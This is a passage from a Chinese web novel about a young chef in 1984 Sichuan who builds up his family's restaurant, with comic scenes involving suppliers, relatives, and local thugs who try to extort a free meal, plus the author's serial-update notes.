《1984：从破产川菜馆开始》 第50章 劳资蜀道山！（第一更！） 客人已经走完，赵红也回去了。 空荡荡的饭店里，老周同志正在扫地。 赵嬢嬢靠着门柱揉着腰，忙起来不觉得，这一歇下来，倒觉得有些腰酸。 “妈妈坐到，沫沫给你锤锤。”周沫沫搬了张小凳子过来，拉着她坐下，抬起小拳头轻轻敲背。 “舒服不？” “嗯，我幺女硬是能干，还会给妈妈捶背了。”赵铁英笑吟吟的点头，“舒服。” 周沫沫听了锤的更卖力了。 周砚简单炒了个青菜和双椒碎花牛肉，再把剩下的一点牛肠、牛板筋热一热，就算是晚饭了。 三两吊龙是他特意留的，客人吃满意了，也不能亏待自己人不是。 “好多客人想点双椒碎花牛肉，你娃娃怎么还藏了一份呢？”赵嬢嬢看着周砚从厨房端出来的碎花牛肉，没好气地笑道。 “客人想吃，我们自己也要吃的嘛。”周砚笑着道，“挣钱不就是为了过得更好，吃得好也是非常重要的。” “我们自己随便炒个素菜，把汤热一下就吃了，瞎讲究。”赵嬢嬢站起身来，牵着周沫沫过来坐下。 “那怎么行，沫沫正是长个子的时候，你每天又忙的那么辛苦，肯定得吃好点。”周淼洗了手过来，“我觉得周砚说得对。” “行行行，都听你俩的。”赵铁英点头。 “行行行，都听你俩的。”周沫沫跟着奶声奶气的说道。 大家都笑了。 一人盛了碗饭，先把肚子填饱。 “没想到第一天生意就这么好，两位厂长可是帮大忙了。”赵铁英吃到一半，不禁感慨道：“那林副厂长可真是咱们的贵人，一次又一次的帮咱们打开销路。” “是啊，有机会得好好感谢他。”周砚点头，今天林叔请王厂长来吃饭，明显有提携介绍他的意思，这点让他意外之余也有些感动。 非亲非故，夏瑶的救命之恩，他们给的东西已经足够多，他并不觉得对方还欠他人情。 “要不给他送点什么东西去？我们也不好一直欠人家人情。”赵铁英看着周砚问道。 “下回再给他打点酸萝卜，看他两个儿子还挺喜欢吃的，其他东西他多半不收。”周砚笑着道：“没事，日子长着呢，以后有机会再还。人情嘛，有来有往才有情。” “要得。”赵铁英点头，觉得周砚这话在理。 “爸，明天我要12斤牛腩，17斤吊龙，你那里吊龙要是不够，我刚刚和飞哥已经打了招呼，他会给我留……”周砚向老周同志定了牛肉和牛杂。 “定这么多？”赵铁英有些惊讶。 “今天这事明天肯定会在纺织厂传开，我们的名气打出来了，要抓住机会，把厂食堂小炒的客人一锅端。”周砚笑着道。 他估摸着王德发这会应该气急了，指不定憋着什么坏呢。 不过没关系，靠着林志强引荐，他已经和王宏亮搭上线，以后交流学习，就是饭友了。 周砚看得出来，王宏亮是真爱做饭，而且对他做的菜非常认可，这种关系处起来不会累。 “要得，听你的。”赵嬢嬢笑着点头。 厂长都说周砚能当好老板，他肯定行，她一直都相信这点。 周沫沫拌着碎花牛肉埋头干了三碗饭，喝了一碗汤，才满足的放下筷子，打了个饱嗝。 专用小碗，干起饭来就是有成就感。 “锅锅做的菜太好吃了！我吃饱饱了！”小家伙嘿嘿一笑，肉嘟嘟的脸颊上多了个小酒窝，眼睛弯成了月牙，嘴边还沾着两颗饭粒，可爱又治愈。 “乖哈~”周砚伸手帮她把嘴角的饭粒捏了。 周沫沫往他这边凑了凑，满是好奇的问道：“锅锅，刚刚小锅锅问我，牛肉为啥子要跷脚呢？牛肉也会累吗？” 周砚听得忍俊不禁，笑着点头道：“嗯，牛儿天天站着肯定会累，所以有空的时候就喜欢跷脚休息。” “啊，我晓得了！”周沫沫若有所思的点头。 赵嬢嬢和老周同志也笑了。 小家伙可真是家里的快乐源泉。 周沫沫趴在凳子上，小心翼翼地先把左脚放到地上，确定脚尖着地后才放下右脚，走到周砚身边去牵他的手：“锅锅~你带我去耍嘛，我想去耍梭梭板。” “天都快黑了，还耍啥子梭梭板，明天早上来了再耍！”赵铁英同志降下神谕。 “不嘛，我想耍，就耍一会会……”周沫沫晃着周砚的手撒娇。 “劳资蜀道山！一，二……” “好嘛，明天耍就明天耍……”周沫沫瘪了瘪嘴，终究还是怂了。 周砚笑而不语，怕惹火上身。 赵嬢嬢不扫兴，可也不是啥都惯着周沫沫。 一会天完全黑了，骑车回家不安全也不方便。 小孩嘛，有枣没枣哭两声，说不定就答应了呢。 周沫沫不算犟的，那种满地打滚的才让人头疼。 洗碗的工作周砚主动承担了，送他们出门的时候，瞧见对面摊位停了辆人力三轮车，周亮亮夫妇俩正一脸颓丧的往车上装东西。 “别人屙屎你递草纸，别人吃饭你舔盘子。摊子摆的像模像样，一天就干垮了，也是神速。”赵嬢嬢笑眯眯道。 周亮亮和吴桂花的脸更黑了，恨不得找个地方钻进去。 周淼蹬车带着母女俩离开，脸上也是带着笑。 周砚笑着摇头，要论杀伤力，赵嬢嬢的阴阳怪气最出暴击。 锁上门，他还是沿着河堤跑了一圈，出了一身汗才回去。 门口的摊位又恢复了原样，空荡荡的，只留下两堆灶灰。 这夫妇俩来也匆匆，去也匆匆。 其实周砚挺佩服他俩的行动力。 发现纺织厂门口有商机，立马把摊位搬过来，还把面条也安排上。 发现这钱不好挣，开张都难，又连夜搬东西走人。 就这行动力，超过百分之九十的人，就是眼光差了点，脑子也差了点，做生意太过于想当然。 冲了个澡，周砚把账记了。 今天卖出八十碗面，一百碗跷脚牛肉，加上烧菜和炒菜，收入总计160.8元。 收入再创新高，比上周六川美学生集体用餐那天还高。 炒菜烧菜的利润相对低点，但跷脚牛肉利润高，总利润差不多有86元，能到五成左右。 把零钱十块一沓用绳子绑好，全部丢进钱箱子。 欠款已经还掉180元，还欠678.52元，他手头现在有144.24元现金。 要是明天生意达到预期，周砚估摸着这个星期就能把外债全部还掉。 周日堂哥周浩婚宴，周家老小还有周村的父老乡亲聚在一起。 他想把钱还清，让赵嬢嬢和老周同志在人前挺直腰杆，好好享受坝坝宴。 开这饭店，没少让他俩被人指指点点。 现在饭店已经盘活，并且靠着口碑站稳脚跟。 只要能把厂食堂的小炒份额一点点吃下来，他们家今年能过个肥年。 …… “今天少说也卖了一百五，还有好多客人想吃没吃到，两块钱的藿香鲫鱼都抢着点，这生意怎么突然就这么好做了呢？我感觉做梦一样！”赵嬢嬢搂着老周同志的腰，笑着说道。 “说明在你的教育下，周砚成长了撒。”周淼笑着道。 “嗯，硬是有点道理，现在他已经能够独当一面了。”赵嬢嬢点头，笑容愈发灿烂：“你今天是没有听到，那厂长怎么夸周砚的，还叫他小周师傅呢，店里的工人听了都惊呆了。” 说着说着，她的情绪又低了下去，叹气道：“这娃娃学厨的时候肯定吃了不少苦，不然哪做得出那么好吃的菜。” “他就是学到了你吃苦耐劳的精神，你这个妈带头带的好。”周淼笑着道：“男娃娃，吃点苦是应该的，不然成不了才，也干不成事。” “哎呀，你怎么这么会说好听话，在外人面前你腔都不开。”赵嬢嬢拍了一下周淼的肚子，娇笑道。 “好听的说只说给你听撒，别人我又不需要管。”老周同志一本正经道。 “嗯，有觉悟，明天你去钓鱼嘛。” “要得。” …… 今天也会加更！！ 继续求月票和追读！ 500月票加一更。 其实编辑一直说更少点，章节字数少一点，才发书二十几天就十五万字了。 轻语的章节大多三千字左右，甚至有四千多字的。 因为日常流美食文的写法，两千字根本没啥东西，所以我会以内容来决定章节长度，而不是两千字，让你们有更好的阅读体验。 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“在国企里待久了的人大多数看不上个体户，咱们在国外留学见得多，开店经商也是正经行当，有能力的可比在厂里上班挣得多，有钱日子自然好过，上了大学的也不一定就更有出息……” “你想撮合夏瑶和周砚？”孟安荷打断了他，一针见血。 “我哪有这本事，但我肯定不阻拦。”林志强摊手，“如果有一天这俩孩子真走到了一起，周砚未必不是良配。” “那你去跟我姐和我姐夫说吧。” “啊？我哪敢啊！” …… 川美宿舍。 书桌上亮着一盏小台灯。 夏瑶坐在桌边写信，娟秀的字在信纸上流淌，一旁的垃圾桶里有好几个捏成球的纸团。 “瑶瑶，情书有那么难写吗？”邓虹探出脑袋，笑眯眯问道。 朱玉玉从另一张床探出脑袋揶揄道：“就是，这都写第五个版本了，比我做毕设都认真呢，能不能给我学习学习。” “我写的是信，不是情书。”夏瑶端正坐姿，头也没回地说道，手却下意识的遮住了信上的字。 “对对对，是充斥着革命友谊的信。”邓虹笑着点头：“那替我们感谢一下周砚同志送的米花糖，好吃。” “太对了，记得说俺也一样。”朱玉玉跟着点头。 “好，你们先睡，我一会就关灯。”夏瑶笑着说道。 …… 天刚蒙蒙亮，小周同志骑着自行车又出门买菜去了。 今天他先去找了章老三，买了八斤排骨。 “小周啊，你这饭店生意是越来越好了。”章老三一边称排骨，一边感慨道。 “还行，能开下去了。”周砚笑着应道，摸出钱递给章老三。 “二刀肉、肘子那些还不要啊？”章老三接过钱，随口问道。 “现在还用不着，等开始卖回锅肉和东坡肘子的时候，再来找你买。”周砚把排骨往车篮里放好，吆喝了一声：“走了。” “这小子，还是有点水平的。”章老三看着周砚的背影笑呵呵自语。 周砚又去了集市那边，找到给他送鱼的鱼贩高老板，让他今天中午送四十条八两的鲫鱼到店里。 因为买的多，每天都要货，周砚成功把一斤鲫鱼的价格从四毛五分压到四毛，而且节假日也不能涨价。 纺织厂食堂和国营饭店有自己的订货渠道，零售也没那么好卖，周砚这种稳定要货的客户可不多，在苏稽就算大客户了，高老板本着薄利多销的理念，答应的很直爽。 “高老板，我的鱼一定要好，你卖这么多年鱼分得清好坏，要是故意给我送差的，我可会翻脸的。”周砚笑着把丑话说在前头。 “你放心，每次送货我给你多带十条，你自个挑，不满意我重新送过。”高老板保证道。别看周砚年轻，但他选鱼的眼光确实尖，糊弄不了。 “要得。”周砚点头，骑上车离开。 一家饭店的运转，离不开这些食材供应商。 建立起稳定的食材供应链，是保证菜品品质稳定的重要一环。 目前饭店最重要的牛肉供应，掌握在自家人手里。 周村堰坎头屠宰场，今天有八头牛同时在宰杀，早上温度低，氤氲热气从一个个工位上飘起，就像是一头头牛升天的冤魂。 脑子里突然蹦出来的想法，把周砚自己给逗笑了。 这个点，杀牛匠们已经在分肉了。 骨肉分离的牛肉被分割成不同的部位，肉还是温热的，颜色鲜亮。 周砚把车停在了周淼的摊位前。 “牛腩十二斤，吊龙也是十二斤，少的去你大爷那里拿，我已经跟他说好了，按两块钱一斤算，以后都这个价。”周淼开口道。 “两块钱一斤会不会太便宜了？”周砚有点迟疑。 “不会，弄坝坝宴的乡厨批量来拿，也是这个价，比零散买本来就要便宜点。”周淼摇头道。 “要得。”周砚点头。 周飞见周砚走来，笑着问道：“周砚，吊龙还要好多？” “飞哥，今天要五斤就够了。”周砚开口，和一旁的大爷周清也打了个招呼。 大爷体格健硕，膀大腰圆，和周飞长得很像，鬓角微霜，冲着周砚憨笑道：“周砚，你要好多都可以，以后吊龙先给你留到。” “要得，谢谢大爷。”周砚咧嘴笑道。 这就是供应链的重要性，要不是自家人，想买吊龙还得凭运气，逢年过节更是不一定能买上。 吊龙不愁卖。 周飞割下一块吊龙，秤高高的，筋膜剃的干干净净，肉质也好，给周砚装进背篼。 “大爷，两块钱一斤，占你便宜不？”周砚掏出一张大团结递过去，笑着问道。 “自家人占啥子便宜，我说一块五一斤，你老汉不干，非要我收两块，我还觉得我占你娃娃便宜了呢。”大爷接过钱，笑着摇头。 “周砚，吊龙还要不？我这里也给你留到的。”二伯周泽冲着他喊。 周杰手里提着一块吊龙冲他展示：“今天的吊龙巴适得很。” “我这里也有哈，整的巴巴适适的。”三伯周汉也笑道。 “今天够了，过两天要的多再来找二伯、三伯。”周砚笑着应道，心头有点暖。 他一句话，一大家子全记在心里。 真好。 第二更，晚上还有一更！1000月票加更。 冲冲冲！   (本章完) 第52章 有饼他是真吃（第三更！） 周砚今天买了三十七斤肉，二十几斤牛杂和板筋，还有几捆小青菜，两个莲花白，背篼直接装满了。 看看旁边那个背篼里睡的正香的周沫沫，他有点犯难。 “我这边也忙完了，把背篼给我，我给你拉回去，你带四嬢和沫沫。”周杰笑着走过来，从周砚手里接过重重的背篼，随手就给背到了身上。 “要得，慢点哈。”周砚笑着招呼了一声，载上赵嬢嬢跟在周杰后边。 二八大杠虽好，但又要载人又要载货，还是有点力不从心。 路上周砚思考着，要么给赵嬢嬢也配一辆自行车，要么就是把后座改造一下，像那些卖货郎一样，两侧直接固定两个箩筐，后座会难坐一点，但可以装不少东西。 三轮车倒是能装货，但现在的乡间路没那么好骑，不如二八大杠实用。 食材采购这事，他没法交给别人。 鉴定天赋在手，他能一眼分辨食材优劣，这是老厨子踩多少坑才能练就的眼力。 优质的食材，也是饭店护城河之一，与其他餐厅、摊摊拉开差异化的重要一环。 回到饭店，赵红和周立辉也已经到了，上前帮忙扶背篼。 “幺嬢好能睡哦，坐车都能睡得着。”周立辉探头看了眼背篼里露出一角的周沫沫。 “你娃小时候，比这还能睡，天天吃了就睡，醒了就吃。”赵红笑道。 “那不成猪儿精了？”周立辉挠头。 “杰哥，你这两天过来学，海子哥那边忙得过来不？”周砚把背篼从周杰车上提下来，随口问道。 “你两个嫂子去帮忙，我妈也帮着洗碗，完全没得问题。”周杰笑道：“不过今天早上他要载我妈去县里买喜糖那些，不摆摊，中午要是回来得早，还说要过来跟着学呢。” “有啥子要我做的，尽管说哈，我当弟娃的，肯定也要出力嘛。”周砚笑道。 现在老周家的头等大事就是周浩的婚礼，周海、周飞几个哥跑的都很积极。 可能是觉得周砚店里忙，还没喊他做什么。 “没啥子事，都准备的差不多了，喜糖就是差丁点，零零碎碎的东西，我妈今天去一哈买齐了。”周杰摆手，认真道：“你这饭店生意刚好起来，你把饭店管好就行，我们几兄弟随便哪个去跑都没问题。” “要得。”周砚点头。 “昨天你准备的菜卖完没有？晚上生意怎么样？”周杰关切问道，昨天中午忙完他就回去了，那会周砚的鲫鱼还一条没卖呢。 “嗯，全卖完了，所以今天才拿了那么多菜，准备大干一场。”周砚笑着点头，“我估计，今天生意还会更好。” “太好了，好吃的东西大家还是懂得起！”周杰一拍手，喜滋滋道：“我来帮你洗菜，牛杂那些我第二道洗的非常干净。” 周杰干活是把好手，帮忙清洗牛尾、牛骨和牛杂，极大的提升了效率。 学徒工周立辉也干劲满满，提着一桶桶井水倒入大锅里，越发熟练。 今天熬这锅高汤，周砚直接让周杰上手，他负责在旁边指点。 周杰是熬了两年半汤锅的熟手，昨天拿着小本子认真学了一遍，今天上手立马做的有模有样，基本不需要周砚提醒。 “周杰硬是比我学得快，才一天就学的差不多了。”赵铁英在旁边看着，也是不禁感慨。 “是周师傅教得好，讲的那么细，我一听就懂。”周杰一边打着浮沫，一边笑道。 “那你就守着锅打浮沫，我去炒浇头和臊子。”周砚笑着转身往厨房走，把在一旁背乘法口诀的周立辉也喊进了厨房。 “小叔，我啥时候开始学做菜？”周立辉满眼期待的看着周砚。 “从你踏进厨房的时候，就已经在学了。”周砚一本正经道：“你先学会烧火，这一步可以锻炼你对火力的把控，到时候练火候的时候，会有大作用。” “这样啊！”周立辉眼睛一亮，立马往灶台后边钻，“那我先点火！” “不急，你过来看我切菜，今天教你怎么切牛肉。”周砚笑道。 “我也可以切牛肉吗？” “不行，这里每一块牛肉都是有大用的，等几分钱一斤的萝卜大量上市的时候，你拿萝卜练刀工。” “哦……” 不是周砚抠搜，主要是他真的穷。 而且他在厂食堂学厨的时候，他师父也是让他切萝卜丝、土豆丝练手，哪有上来就霍霍牛肉的。 周立辉倒是态度端正，在旁边站的笔直，盯着认真瞧、认真看，还不时会提问几句。 赵红进出厨房几次，脚步都放轻了几分，嘴角带着笑。 今天周砚还是备了八十份面条，不过跷脚牛肉增加了二十碗。 另外牛肉烧笋干、双椒碎花牛肉各备了三十份的食材，鲫鱼备了二十份，排骨备了十二份。 昨天准备的八份排骨卖完了，但周砚认为那是大部分客人无菜可选后的妥协，不代表红烧排骨是畅销菜。 一元一份的双椒碎花牛肉和牛肉烧笋干，看起来更有性价比。 又或是再添四毛钱，来一份藿香鲫鱼，份量大又下饭。 红烧排骨咸香回甘，小孩爱吃，昨天厂长那桌已经验证了这点，等家庭聚餐的客人多起来，应该就会好卖了。 灵活调整每天的菜品供应量，是一个合格的老板应该做的事情。 小周同志为什么亏得那么惨，就是因为他太老实了，且毫无饭店管理经验，每天光是食材损耗都不少。 早上的生意和昨天差不多，八十碗面卖完，每天来吃面的客人数量趋于稳定，短时间内很难再有大的突破。 这个数量周砚挺满意的，客人等待时间不会太长，店里也能坐得下，总体用餐体验不错。 工人们都去上班了，周杰帮忙收碗，有些感慨道：“生意真不错，没想到大家那么爱吃面。” “想不想学？”周砚笑问道。 “学不了一点。”周杰脑袋摇的跟拨浪鼓似的，“先不说你那神乎其技的拉面技术了，炒臊子和浇头我就不行啊。你那双椒碎花牛肉炒的，味道简直不摆了。我不是怕自己丢人，我是怕出去说是你教的丢你面子。” “我能把汤锅做好，我就心满意足了，贵精不贵多。”周杰咧嘴一笑，信心满满道：“一辈子，一锅汤，只要做好了，我觉得也能挣到钱。” “有道理，以后你就是跷脚牛肉大王。”周砚笑道。 “不对不对”周杰摇头，指着门口那口锅道：“这是你改良出来的跷脚牛肉，你才是跷脚牛肉大王，我顶多算大将军，你指哪我打哪。” “现在大家日子越过越好，这两年好好攒钱，以后把跷脚牛肉开到嘉州，开到蓉城去，我们也买汽车，住楼房。”周砚笑着画饼。 “汽车？楼房！”周杰眼睛一亮，“要得！” 有饼，他是真吃。 …… 厂长昨天在周二娃饭店吃饭并做出高度评价这段，已经传成了逸闻，和昨天中午食堂闹剧的瓜一起吃，风味更佳。 吃瓜不分年代，该吃还得吃。 厂里对厂食堂的处理还没出来，厂食堂的菜依旧难吃，让周二娃饭店打垮厂食堂，成了大家上班摸鱼时候的笑谈。 而周砚为师父出头，暴打王德发被开除这段旧事也被翻了出来，并且衍生出多个版本的谣言，越传越离谱。 中午营业，慕名而来的客人不少。 赵东就是其中之一。 “小周同志，你可终于上炒菜、烧菜了。”赵东一进店就握着周砚的手。 作为昨天食堂事件的导火索，事后他被刘雨生副厂长教训了一顿，开会的时候又被点名批评，还写了一千字检讨，心情有点郁闷。 当然，食堂小炒和大锅菜难吃是共识，这点连副厂长都承认。 挨批主要是作为车间主任带头闹事，无组织无纪律，写检讨算轻的，没给他记过是因为大家表决的时候没举手。 大家面上不赞同赵东的行为，散会后偷摸给他竖大拇指呢。 食堂的饭，谁吃了不是一肚子火？ 今天早上听说周二娃饭店上新菜，老厂长吃了都说好，这谁受得了？ 下班铃一响，赵东拉了个饭搭子，一路快走来干饭。 对于干垮厂食堂这件事，他赵东甘当急先锋！ “昨天厂长吃完，说哪个菜最好？”赵东看着周砚问道。 后边跟着进门来的客人也是纷纷看向他，同样有些期待。 三更！求月票，求追读！ 明天要是1500月票，继续加更！ 写就完了！   (本章完) 第53章 好死！ 苏稽镇上谁都可能是周砚的托，但纺织厂没人相信老厂长是托。 老厂长在纺织厂德高望重，带着纺织厂一步步走到现在，工人工资越来越高，日子越过越红火，老员工打心里敬佩他。 而且老厂长是出了名的老饕，自己又会做饭，连肖师傅做的菜都瞧不上，不可能专门来给周砚当托。 大家更相信周二娃饭店的菜确实好吃。 墙上挂的菜单牌牌，价格不算便宜，和国营饭店差不多。 赵东把大家想问又不好意思问的话说出口了，不愧是敢带头冲厂食堂的赵主任。 “厂长他们昨天把菜单上的菜每样都点了，吃完都说好，没分高下。”周砚面带微笑道。 “啊？都说好？”赵东有点吃惊。 客人们也是面面相觑，这周砚是不是吹牛哦？ “是真的，我昨天晚上就在店里吃，老厂长吃一道菜点评一道菜，赞不绝口。”有三个客人走进店来，其中一个凑到周砚跟前：“我们要一个藿香鲫鱼，再要一个双椒碎花牛肉。” “要得，三号桌坐嘛。”周砚拿起纸笔，刷刷记下。 那工人坐下后，笑着道：“老厂长吃了都说好，不过他吃完藿香鲫鱼还说了一句：不输蓉城餐厅。还说周师傅做的这几道菜，比蓉城的一级厨师都要好，放心点，不会错。” 这话一出，众人的眼睛都亮了起来。 “那我也要一个藿香鲫鱼，再来一个双椒碎花牛肉。”赵东立马说道，吃饭跟风不容易出错，而且双椒碎花牛肉拌饭他也馋很久了。 “我也来一份……” 众人纷纷落座点餐，藿香鲫鱼价格最贵，却成了大家抢着点的菜。 价格贵，但分量也大啊。 两条八两重的鲫鱼，还下饭。 蓉城餐厅对于大部分工人来说，属于传闻中的高级餐厅，据说很多领导来蓉城视察都会去那里吃饭，水平相当高，价格也相当高。 蓉城餐厅的藿香鲫鱼他们不知道啥时候能吃得上，但周二娃饭店的藿香鲫鱼，他们今天中午就能点了下饭。 两块钱一份，突然就变得有性价比起来。 “这样点，刚送来的四十条鲫鱼怕是活不到晚饭了。”周杰小声笑道。 “鱼倒是好办，让高老板再送就是。”赵嬢嬢也是笑得合不拢嘴，一边帮着点餐，一边安排座位。 周砚点了几桌餐，便转进厨房忙碌起来。 今天的新面孔不少，这是好消息。 老厂长荣升带货王，几句话给周二娃饭店带来了不少新客。 工人们的热情，甚至有些超出周砚的预期。 不光是厂里的领导和高级技术员，不少工龄长的老工人，也是三两成群来尝鲜。 在吃饭这件事情上，川渝人是真不含糊。 本来负责守跷脚牛肉锅的周杰，临时被喊进厨房杀鱼，周砚一个人根本忙不过来。 好在土灶大锅，一锅能煎八条鱼，出餐速度还不错。 双椒碎花牛肉提前备好菜，下锅到出锅也就一分多钟的事。 至于提前烧好的牛肉笋干和红烧排骨，加热就可以出锅，状态完美。 一道道菜从后厨端上客人的餐桌，赞叹声此起彼伏。 “这鱼硬是鲜！味道太巴适了！” “这碎花牛肉真好吃啊！我感觉比早上当面臊子还要更好吃，刚出锅炒出来，有锅气，牛肉也更嫩一些！” “蓉城有钱人的日子，我也是过上咯。” “我就说老厂长不可能骗人！” “这一对比，厂食堂现在做的菜简直就是猪食。” 客人们吃开心了，夸赞是一点不带含糊的。 赵东吃的摇头晃脑，连连感慨：“这藿香鲫鱼硬是巴适，怕是肖师傅都做不出这个味道来，周砚那么年轻，厨艺怎么就这么好呢？” “说明他是天才嘛，咱们就有口福咯。”同桌的副主任朱哲笑道。 “价格和国营饭店差不多，味道比国营饭店巴适，还开在厂门口，以后我们三两天来吃一次。”另一位财务主管宋阳开口道：“你们记得喊我哈，不许吃独食！” “要得，三天吃一回嘛。”赵东点头。 “要得，不然造不起。”朱哲也点头。 吃饭三人组，初步达成共识。 …… “把肥肉给我炒干一点！水汪汪的还叫回锅肉吗？” “喊你炒干点不是喊你炸焦！这比你奶奶的假牙都硬，客人咬得动吗？” “猪肝喊你切薄，不是喊你切碎！这腰子谁切的？老子真是服了你！” 黄福生拿着一个铁勺，在后厨指指点点，额头上全是汗，目光不时往门口瞟。 王德发站在那里，看着空荡荡的小炒区，脸色铁青。 最糟糕的情况还是发生了。 一夜之间，小炒区的客人跑光了。 刚刚有学徒跑到门口去看过，一大半跑周二娃饭店去了。 黄福生天都塌了，上周六他才刚在王德发面前立下军令状，说要把小炒区失去的客人全部抢回来。 这下好了，小炒区已经没有可以失去的客人。 那现在厨房的厨师们在做什么？ 大概是……无食客表演？ 黄福生试图让自己忙起来，这样显得没那么尴尬。 “黄福生，给老子滚出来。”王德发冷声道。 黄福生一脸颓然的放下勺子，不过很快又挤出一个笑脸快步往门口走去，腆着脸跟上王德发，小声道：“主任，您放心，我已经做好安排了……” …… 都是下饭菜，工人们吃的又快，周二娃饭店的翻台效率挺高。 第一轮客人吃的差不多，第二轮客人坐下，还有几张空桌。 这时一个满脸麻子的瘦高竿，叼着烟，带着三个穿着化纤花衬衣的年轻人走进店来，先左右打量了一下，然后挑了张靠中间的空桌坐下。 赵铁英扫了一眼四人，眉头微皱，这几个二流子平时都在街上逛，今天怎么逛到店里来了。 不过进店都是客，赵铁英还是上前道：“菜单在墙上，看到点，菜都还有。” 带头的王麻子先上下打量了一下赵铁英，看她一个农村妇女也就没放在心上，目光这才落在一旁墙上的牌牌上。 “嘶……两块钱一份的藿香鲫鱼，这么贵？！” “啥子排骨一份要一块六？够我半个月烟钱咯！” “麻子哥，怎么点？” 另外三个青年看完菜单，脸色皆是一变，纷纷看向了王麻子。 “鬼叫啥子嘛。”王麻子稍稍坐直了身子，咳了两声，看着赵铁英道：“这些菜，先一样来一份。” “要得。”赵铁英应了一声，往厨房去。 “我看那四个二流子，不像是正经来吃饭的，兜里没三分钱，还一样菜点一份。”进了厨房，赵铁英就找周砚小声说道。 “我看看。”手里还抓着一条鲫鱼的周杰探头看了一眼，“那不是王麻子这个天棒吗？去年严打抓去关了半年，他还敢来闹事不成？” “没事，他点了就给他上，咱们离保卫科可近着呢。”周砚笑着道。 1984年，最不怕的就是流氓闹事了。 你要先动手，流氓还骂你不讲道理呢。 “对，我的刀也不是不锋利。”周杰点头，晃了晃手里的杀鱼刀。 “一会要是有事，喊保卫科可以，你俩不许莽撞哈，这年头抓进去是要吃花生米米的，要讲道理。”赵嬢嬢指着两人警告道，这才出了厨房。 四个二流子，翘着脚等上菜，嘴上叭叭个不停，不是吹嘘钻了哪个寡妇门，就是吹嘉州哪个帮派超哥有多厉害。 工人们纷纷侧目，眼中带着几分嫌恶。 感觉被瞩目的二流子们越发起劲，啥话都敢往外说。 菜很快就上来了，藿香鲫鱼、红烧排骨……相当丰富。 几人顿时消音，齐齐咽了咽口水。 天天在街上瞎逛，他们哪见过这样的菜式，就算是去硬蹭的坝坝宴，乡厨也整不出这藿香鲫鱼啊。 “吃吃吃，吃饱了再摆。”王麻子拿起筷子，先夹了块排骨。 其他人也是纷纷拿起筷子狼吞虎咽起来。 平时不是吃不好，他们是有几天没吃饱了。 今天这菜，他们这辈子都没吃过那么美味的。 两盅饭，五个人菜一个汤，鱼头嗦的干干净净，连藿香鲫鱼的汤都被拿来拌饭吃的一干二净。 “嗝……” 王麻子打了个饱嗝，意犹未尽。 好吃是真好吃，他这辈子都没吃过这么美味的菜。 “麻子哥……”坐他身边的青年手在桌下碰了一下他，往他手里塞了个东西，小声道：“一不小心吃完了……怎么办？” 王麻子表情一僵，看着满桌的空盘子，比他脸都干净，左右看了一眼，一咬牙，把手快速往盘子里一放，然后拍着桌子站起身来叫道：“老板！你这菜里头怎么吃出偷油婆了！我看你这个店是不想开了吧？” “老娘等的就是你龟儿子使坏！” “妈卖批！偷油婆都敢往老娘盘子里丢！” “好死！” 赵铁英抄起灶台边的菜刀，冲着王麻子就冲了过来。 …… —— PS：求月票，求追读！（偷油婆=蟑螂） 满1500月票继续加更！ 赵嬢嬢冲冲冲！   (本章完) 第54章 我要当警察嬢嬢 赵铁英提刀冲向王麻子这一桌，嘴上还高强度输出，看得饭店里的客人皆是一惊。 这还是那个满口乖乖，和蔼可亲的赵嬢嬢吗？ 王麻子等人回头，脸色一变。 赵铁英把刀举过头顶冲来，眼睛死盯着他们，眼里那股狠劲让人胆战心惊。 她真的会砍下来！ 唰！ 菜刀贴着王麻子的脸劈了下来，磨得雪亮的刀身泛起寒光亮瞎了他的狗眼。 “妈呀！”王麻子惊得向后退去，被长凳一绊，摔了个四仰八叉。 笃！ 菜刀劈在了八仙桌上，刀尖深入桌面三公分，斩开一道骇人的豁口。 三个花衬衣也是下意识向后躲开。 “疯了！这女人疯了吧！” 王麻子被吓到了，刚刚那个农村妇女去哪了？ 哪怕是前两年街头火并，大家也得先对骂几句才会开打啊。 只是放了只偷油婆而已，用得着砍人吗？ 这两年他们出来混，也是讲道理的嘛。 想到这，他反倒是委屈上了。 本地嬢嬢不讲武德啊。 “喔唷！” “赵嬢嬢好生猛！” 客人们眼睛都瞪圆了，赵嬢嬢可太勇猛了，有二流子闹事她是真砍啊！ 不过，好爽！ 这些二流子简直无法无天了！ “麻子哥！”几个小弟连忙上去扶他，一边恶狠狠道：“还敢砍人！我看你这店是不想开了！” “老子……”王麻子爬起来，伸手就去抓长凳。 其他小弟也是去抄顺手的工具。 被一个农村妇女吓翻，脸面丢尽，要是不找回场子，以后在这街上怎么混。 反正是她先动的手，他们占理！ 就在这时，他们身后突然投下了一道阴影，遮蔽了光线。 啪！ 两只大手搭在了王麻子和另一个花衬衣的脖子上，骤然收紧，勒着衣领把两人直接凌空提了起来。 两人惊恐回头，对上的是一个如棕熊般壮硕的男人。 王麻子的腰还没他臂膀粗。 “踏马的！敢来店里闹事！” 一直关注着店里情况的周杰和周砚冲出厨房，一脚一个把剩下俩花衬衣踹翻。 “不要动！”周杰按住俩人，啪啪就是几耳光，抽的他们不敢抬头。 周砚先看向赵铁英，关切道：“妈，你没事吧？” “没事。”赵铁英摇头，一脸肉疼的看着被砍出豁口的桌面，“这龟儿子躲得快，害我桌子遭了殃。” 周砚闻言一时间不知该如何评价。 她让他和周杰不许莽撞，要讲道理，她倒是提着刀就上了。 赵嬢嬢战斗力彪炳，在她面前，王麻子几个反倒像新兵蛋子。 他看向提着王麻子俩人的周海，笑问道：“海子哥，你怎么来了？” “我把二嬢送回去，下午没事就转过来看看，一进门就看到他们要打四嬢，所以先把他们抓到。”周海笑着应道，晃了晃手里俩人，“他们俩怎么弄？” 周海的体型太有压迫感了，抓着王麻子两人，就像提着两只小鸡。 他和周杰常年杀牛，身上有股煞气，气势和这几个街溜子根本不是一个级别的。 “先抓着。”周砚回头看着一旁握着鸡毛掸子，跃跃欲试的周沫沫道：“沫沫，去隔壁保卫科喊人，就说有流氓在我们店里闹事打人。” “嗯！”周沫沫应了一声，把手里的鸡毛掸子放下，转身颠颠跑出门去，小马尾抖的可欢快了。 “救命啊！” “我们是客人，你们砍人又打人，你们这个黑店！” “还有法律吗？！请大家为我们发声！” 王麻子挣扎不脱，开始卖惨，试图给自己拉点声援。 “为你发声？我看是要喂你花生米米！” 赵嬢嬢抬手就是一巴掌，冷笑道：“你个瘪三，从你们进店老娘就盯到你们，饭菜香倒是吃得出来，连菜汤汤都拌饭吃完了，才想起要把偷油婆从口袋里摸出来。” “光盘子里面放个偷油婆，专门留到晚上当宵夜啊？” “你们平日雷公打豆腐——专捡软的欺，今天撞老娘枪口上了。” 